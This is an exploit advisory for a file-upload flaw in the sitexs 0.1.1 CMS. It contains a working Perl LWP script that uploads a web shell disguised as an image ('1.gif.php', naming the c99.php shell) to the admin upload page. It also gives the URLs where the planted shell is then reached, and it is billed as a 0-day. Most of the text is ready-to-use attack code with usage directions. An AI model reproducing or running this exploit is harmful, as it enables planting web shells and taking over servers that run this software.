sitexs-upload.txt

`  
Author : Hadi Kiamarsi  
----------------------------------------------------------------------------------  
Discovered by : Hadi Kiamarsi  
----------------------------------------------------------------------------------  
Exploited By : Hadi Kiamarsi  
----------------------------------------------------------------------------------  
E-Mail : hadikiamarsi[at]hotmail.com  
----------------------------------------------------------------------------------  
WebSite : http://ircrash.com  
----------------------------------------------------------------------------------  
Our Team : ircrash  
----------------------------------------------------------------------------------  
IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr  
----------------------------------------------------------------------------------  
  
CMS: sitexs-0.1.1 CMS ( All Version Vulnerable )   
Download CMS : http://dfn.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz  
  
----------------------------------------------------------------------------------  
Remote File Upload Vulnerability  
  
You Must turn on :  
  
register_globals = On  
register_long_arrays=on  
-----------------------------------------------------------------------------------  
Exploit :  
-----------------------------------------------------------------------------------  
#!/usr/bin/perl  
# Author : Hadi Kiamarsi  
# Discover By : Hadi Kiamarsi  
# Exploit By : Hadi Kiamarsi   
use LWP;  
use HTTP::Request::Common;  
$ua = $ua = LWP::UserAgent->new;;  
$res = $ua->request(POST 'http:www.example.com/[sitexs]/adm/visual/upload.php',   
Content_Type => 'form-data',  
Content => [  
UPLOAD => ["Your shell file path", "1.gif.php", "Content-Type" =>   
"image/gif"],submit => 'true',type => 'images',path => '',process => 'true',  
],  
);  
print $res->as_string();  
-----------------------------------------------------------------------------------  
  
you for use this exploit . you must your shell file exists in exploit directory  
then excute exploit you find your shell in below link  
  
www.example.com/[sitexs]/images/1.gif.php  
www.example.com/[sitexs]/images/[shell][.php]  
  
  
-----------------------------------------------------------------------------------  
Example :  
-----------------------------------------------------------------------------------  
#!/usr/bin/perl  
# Author : Hadi Kiamarsi  
# Discover By : Hadi Kiamarsi  
# Exploit By : Hadi Kiamarsi   
use LWP;  
use HTTP::Request::Common;  
$ua = $ua = LWP::UserAgent->new;;  
$res = $ua->request(POST 'http://localhost/adm/visual/upload.php',   
Content_Type => 'form-data',  
Content => [  
UPLOAD => ["c99.php", "1.gif.php", "Content-Type" =>   
"image/gif"],submit => 'true',type => 'images',path => '',process => 'true',  
],  
);  
print $res->as_string();  
  
-----------------------------------------------------------------------------------  
  
this bug is 0-Day  
  
-----------------------------------------------------------------------------------  
`